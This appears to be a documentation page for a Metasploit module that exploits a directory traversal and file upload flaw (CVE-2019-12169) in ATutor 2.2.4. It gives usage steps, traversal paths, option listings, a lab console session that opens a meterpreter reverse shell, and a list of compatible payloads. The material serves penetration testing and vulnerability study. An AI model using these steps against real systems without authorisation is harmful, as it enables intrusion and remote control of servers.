ATutor 2.2.4 - Directory Traversal / Remote Code Execution, - Metasploit
This page contains detailed information about how to use the exploit/multi/http/atutor_upload_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: ATutor 2.2.4 - Directory Traversal / Remote Code Execution,
Module: exploit/multi/http/atutor_upload_traversal
Source code: modules/exploits/multi/http/atutor_upload_traversal.rb
Disclosure date: 2019-05-17
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-12169
This module exploits an arbitrary file upload vulnerability
together with a directory traversal flaw in ATutor versions
2.2.4, 2.2.2 and 2.2.1 in order to execute arbitrary
commands. It first creates a zip archive containing a
malicious PHP file. The zip archive takes advantage of a
directory traversal vulnerability that will cause the PHP
file to be dropped in the root server directory (htdocs
for Windows and html for Linux targets). The PHP file
contains an encoded payload that allows for remote command
execution on the target server. The zip archive can be
uploaded via two vectors, the Import New Language function
and the Patcher function. The module first uploads the
archive via Import New Language and then attempts to
execute the payload via an HTTP GET request to the PHP file
in the root server directory. If no session is obtained, the
module creates another zip archive and attempts exploitation
via Patcher. Valid credentials for an ATutor admin account
are required. This module has been successfully tested
against ATutor 2.2.4 running on Windows 10 (XAMPP server).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/atutor_upload_traversal
msf exploit(atutor_upload_traversal) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits an arbitrary file upload vulnerability together with a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1 in order to execute arbitrary commands.
This module first authenticates to ATutor, using a randomly generated token to get around the front end JavaScript verification
being used by the server. Next, the module generates a zip file containing a malicious PHP file.
The zip archive takes advantage of a directory traversal vulnerability that will cause the target to drop the PHP file
in the root server directory (htdocs for Windows and html for Linux targets) when unpacking the archive.
For Windows targets, the module assumes that the target server uses XAMPP.
However, users can override this default by setting a custom file traversal path.
The PHP file contains an encoded payload that allows for remote command execution on the target server.
The zip archive can be uploaded via two vectors, the Import New Language function and the Patcher function.
The module first uploads the archive via Import New Language and then attempts to execute the payload
via an HTTP GET request to the PHP file in the root server directory.
If no session is obtained, the module creates another zip archive, uploads it via the Patcher function
and then attempts to execute the payload the same way as before. If a session is obtained, the module automatically
attempts to remove the malicious PHP file from the present working directory.
The module is compatible with both Windows and Linux targets. Users can specify a target OS, or use the Auto target option.
In the latter case, the module will try to detect the target OS based on the Server header set by the target
in its response to an HTTP request.
The module requires valid credentials for an ATutor account with admin privileges. It has been successfully tested against ATutor 2.2.4 running on a Windows 10 machine that used XAMPP. Vulnerable software can be downloaded here: https://sourceforge.net/projects/atutor/files/latest/download. ATutor is no longer being maintained and version 2.2.4 was the last release.
Verification Steps
- Install the module as usual
- Start msfconsole
- Do:
use exploit/multi/http/atutor_upload_traversal - Do:
set RHOSTS [IP] - Do:
set USERNAME [username for the ATutor account] - Do:
set PASSWORD [password for the ATutor account] - Do:
set payload [payload] - Do:
set LHOST [IP] - Do:
exploit
Targets
Exploit targets:
Id Name
-- ----
0 Auto
1 Linux
2 Windows
Options
FILE_TRAVERSAL_PATH
This is the traversal path to get from the upload path to the root server directory.
It is used to make sure the malicious PHP is dropped in the root server directory when the zip being uploaded to the target
is unpacked on the server side. The default value for Windows targets is ..\\..\\..\\..\\..\\../xampp\\htdocs\\.
This assumes the target uses XAMPP, as recommended in the ATutor documentation.
The default value for Linux targets is ../../../../../../var/www/html/.
PASSWORD
The password for the ATutor account to authenticate with. This option is required.
TARGETURI
The base path to ATutor. The default value is /ATutor/.
USERNAME
The username for the ATutor account to authenticate with. This option is required.
WfsDelay
The number of seconds to wait for a session to be created. This advanced option is used by the module to verify
if exploitation via the Import New Language function succeeded. The default value is 3.
Scenarios
ATutor 2.2.4 running on Windows 10 (XAMPP)
msf5 exploit(multi/http/atutor_upload_traversal) > show options
Module options (exploit/multi/http/atutor_upload_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH no Traversal path to the root server directory. Default for Windows targets: `..\..\..\..\..\../xampp\htdocs\`. Linux Default: `../../../../../../var/www/html/.`
PASSWORD root yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.1.12 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ATutor/ yes The base path to ATutor
URIPATH no The URI to use for this exploit (default is random)
USERNAME root yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.28 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
msf5 exploit(multi/http/atutor_upload_traversal) > run
[*] Started reverse TCP handler on 192.168.1.28:4444
[+] Successfully authenticated as user 'root'. We have admin privileges!
[+] Identified the target OS as Win64.
[*] Setting payload to windows/x64/meterpreter/reverse_tcp.
[*] Attempting exploitation via the `Import New Language` function.
[*] Uploaded malicious PHP file vanwqiz.php.
[*] Executing payload via /vanwqiz.php/qnwgdu?=...
[*] Command Stager progress - 17.01% done (2046/12025 bytes)
[*] Command Stager progress - 34.03% done (4092/12025 bytes)
[*] Command Stager progress - 51.04% done (6138/12025 bytes)
[*] Command Stager progress - 68.06% done (8184/12025 bytes)
[*] Command Stager progress - 84.24% done (10130/12025 bytes)
[*] Sending stage (201283 bytes) to 192.168.1.12
[*] Meterpreter session 1 opened (192.168.1.28:4444 -> 192.168.1.12:49512) at 2020-06-12 13:50:47 -0400
[*] Command Stager progress - 100.00% done (12025/12025 bytes)
[+] Deleted vanwqiz.php
meterpreter >
Go back to menu.
Msfconsole Usage
Here is how the multi/http/atutor_upload_traversal exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/atutor_upload_traversal
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/atutor_upload_traversal) > show info
Name: ATutor 2.2.4 - Directory Traversal / Remote Code Execution,
Module: exploit/multi/http/atutor_upload_traversal
Platform: Linux, Windows
Arch: x86, x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-05-17
Provided by:
liquidsky (JMcPeters)
Erik Wynter
Available targets:
Id Name
-- ----
0 Auto
1 Linux
2 Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH no Traversal path to the root server directory.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ATutor/ yes The base path to ATutor
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an arbitrary file upload vulnerability together
with a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and
2.2.1 in order to execute arbitrary commands. It first creates a zip
archive containing a malicious PHP file. The zip archive takes
advantage of a directory traversal vulnerability that will cause the
PHP file to be dropped in the root server directory (`htdocs` for
Windows and `html` for Linux targets). The PHP file contains an
encoded payload that allows for remote command execution on the
target server. The zip archive can be uploaded via two vectors, the
`Import New Language` function and the `Patcher` function. The
module first uploads the archive via `Import New Language` and then
attempts to execute the payload via an HTTP GET request to the PHP
file in the root server directory. If no session is obtained, the
module creates another zip archive and attempts exploitation via
`Patcher`. Valid credentials for an ATutor admin account are
required. This module has been successfully tested against ATutor
2.2.4 running on Windows 10 (XAMPP server).
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-12169
https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit/
Module Options
This is a complete list of options available in the multi/http/atutor_upload_traversal exploit:
msf6 exploit(multi/http/atutor_upload_traversal) > show options
Module options (exploit/multi/http/atutor_upload_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
FILE_TRAVERSAL_PATH no Traversal path to the root server directory.
PASSWORD yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /ATutor/ yes The base path to ATutor
URIPATH no The URI to use for this exploit (default is random)
USERNAME yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
Advanced Options
Here is a complete list of advanced options supported by the multi/http/atutor_upload_traversal exploit:
msf6 exploit(multi/http/atutor_upload_traversal) > show advanced
Module advanced options (exploit/multi/http/atutor_upload_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoCheck true no Run check before exploit
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, printf, vbs)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
ForceExploit false no Override check result
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 3 no Additional delay in seconds to wait for a session
Payload advanced options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/atutor_upload_traversal module can exploit:
msf6 exploit(multi/http/atutor_upload_traversal) > show targets
Exploit targets:
Id Name
-- ----
0 Auto
1 Linux
2 Windows
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/atutor_upload_traversal exploit:
msf6 exploit(multi/http/atutor_upload_traversal) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/adduser normal No Linux Add User
19 payload/linux/x86/chmod normal No Linux Chmod
20 payload/linux/x86/exec normal No Linux Execute Command
21 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
22 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
23 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
24 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
25 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
26 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
27 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
30 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
31 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
32 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
33 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
34 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
35 payload/linux/x86/read_file normal No Linux Read File
36 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
37 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
38 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
39 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
40 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
41 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
42 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
45 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
46 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
47 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
48 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
49 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
50 payload/windows/adduser normal No Windows Execute net user /ADD
51 payload/windows/dllinject/bind_hidden_ipknock_tcp normal No Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
52 payload/windows/dllinject/bind_hidden_tcp normal No Reflective DLL Injection, Hidden Bind TCP Stager
53 payload/windows/dllinject/bind_ipv6_tcp normal No Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
54 payload/windows/dllinject/bind_ipv6_tcp_uuid normal No Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
55 payload/windows/dllinject/bind_named_pipe normal No Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
56 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
57 payload/windows/dllinject/bind_tcp normal No Reflective DLL Injection, Bind TCP Stager (Windows x86)
58 payload/windows/dllinject/bind_tcp_rc4 normal No Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
59 payload/windows/dllinject/bind_tcp_uuid normal No Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
60 payload/windows/dllinject/reverse_hop_http normal No Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
61 payload/windows/dllinject/reverse_http normal No Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
62 payload/windows/dllinject/reverse_http_proxy_pstore normal No Reflective DLL Injection, Reverse HTTP Stager Proxy
63 payload/windows/dllinject/reverse_ipv6_tcp normal No Reflective DLL Injection, Reverse TCP Stager (IPv6)
64 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
65 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
66 payload/windows/dllinject/reverse_tcp normal No Reflective DLL Injection, Reverse TCP Stager
67 payload/windows/dllinject/reverse_tcp_allports normal No Reflective DLL Injection, Reverse All-Port TCP Stager
68 payload/windows/dllinject/reverse_tcp_dns normal No Reflective DLL Injection, Reverse TCP Stager (DNS)
69 payload/windows/dllinject/reverse_tcp_rc4 normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
70 payload/windows/dllinject/reverse_tcp_rc4_dns normal No Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
71 payload/windows/dllinject/reverse_tcp_uuid normal No Reflective DLL Injection, Reverse TCP Stager with UUID Support
72 payload/windows/dllinject/reverse_winhttp normal No Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
73 payload/windows/dns_txt_query_exec normal No DNS TXT Record Payload Download and Execution
74 payload/windows/download_exec normal No Windows Executable Download (http,https,ftp) and Execute
75 payload/windows/exec normal No Windows Execute Command
76 payload/windows/format_all_drives manual No Windows Drive Formatter
77 payload/windows/loadlibrary normal No Windows LoadLibrary Path
78 payload/windows/messagebox normal No Windows MessageBox
79 payload/windows/meterpreter/bind_hidden_ipknock_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
80 payload/windows/meterpreter/bind_hidden_tcp normal No Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
81 payload/windows/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
82 payload/windows/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
83 payload/windows/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
84 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
85 payload/windows/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
86 payload/windows/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
87 payload/windows/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
88 payload/windows/meterpreter/reverse_hop_http normal No Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
89 payload/windows/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
90 payload/windows/meterpreter/reverse_http_proxy_pstore normal No Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
91 payload/windows/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
92 payload/windows/meterpreter/reverse_https_proxy normal No Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
93 payload/windows/meterpreter/reverse_ipv6_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
94 payload/windows/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
95 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
96 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
97 payload/windows/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager
98 payload/windows/meterpreter/reverse_tcp_allports normal No Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
99 payload/windows/meterpreter/reverse_tcp_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
100 payload/windows/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
101 payload/windows/meterpreter/reverse_tcp_rc4_dns normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
102 payload/windows/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
103 payload/windows/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
104 payload/windows/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
105 payload/windows/meterpreter_bind_named_pipe normal No Windows Meterpreter Shell, Bind Named Pipe Inline
106 payload/windows/meterpreter_bind_tcp normal No Windows Meterpreter Shell, Bind TCP Inline
107 payload/windows/meterpreter_reverse_http normal No Windows Meterpreter Shell, Reverse HTTP Inline
108 payload/windows/meterpreter_reverse_https normal No Windows Meterpreter Shell, Reverse HTTPS Inline
109 payload/windows/meterpreter_reverse_ipv6_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
110 payload/windows/meterpreter_reverse_tcp normal No Windows Meterpreter Shell, Reverse TCP Inline
111 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
112 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
113 payload/windows/patchupdllinject/bind_hidden_ipknock_tcp normal No Windows Inject DLL, Hidden Bind Ipknock TCP Stager
114 payload/windows/patchupdllinject/bind_hidden_tcp normal No Windows Inject DLL, Hidden Bind TCP Stager
115 payload/windows/patchupdllinject/bind_ipv6_tcp normal No Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
116 payload/windows/patchupdllinject/bind_ipv6_tcp_uuid normal No Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
117 payload/windows/patchupdllinject/bind_named_pipe normal No Windows Inject DLL, Windows x86 Bind Named Pipe Stager
118 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
119 payload/windows/patchupdllinject/bind_tcp normal No Windows Inject DLL, Bind TCP Stager (Windows x86)
120 payload/windows/patchupdllinject/bind_tcp_rc4 normal No Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
121 payload/windows/patchupdllinject/bind_tcp_uuid normal No Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
122 payload/windows/patchupdllinject/reverse_ipv6_tcp normal No Windows Inject DLL, Reverse TCP Stager (IPv6)
123 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
124 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
125 payload/windows/patchupdllinject/reverse_tcp normal No Windows Inject DLL, Reverse TCP Stager
126 payload/windows/patchupdllinject/reverse_tcp_allports normal No Windows Inject DLL, Reverse All-Port TCP Stager
127 payload/windows/patchupdllinject/reverse_tcp_dns normal No Windows Inject DLL, Reverse TCP Stager (DNS)
128 payload/windows/patchupdllinject/reverse_tcp_rc4 normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
129 payload/windows/patchupdllinject/reverse_tcp_rc4_dns normal No Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
130 payload/windows/patchupdllinject/reverse_tcp_uuid normal No Windows Inject DLL, Reverse TCP Stager with UUID Support
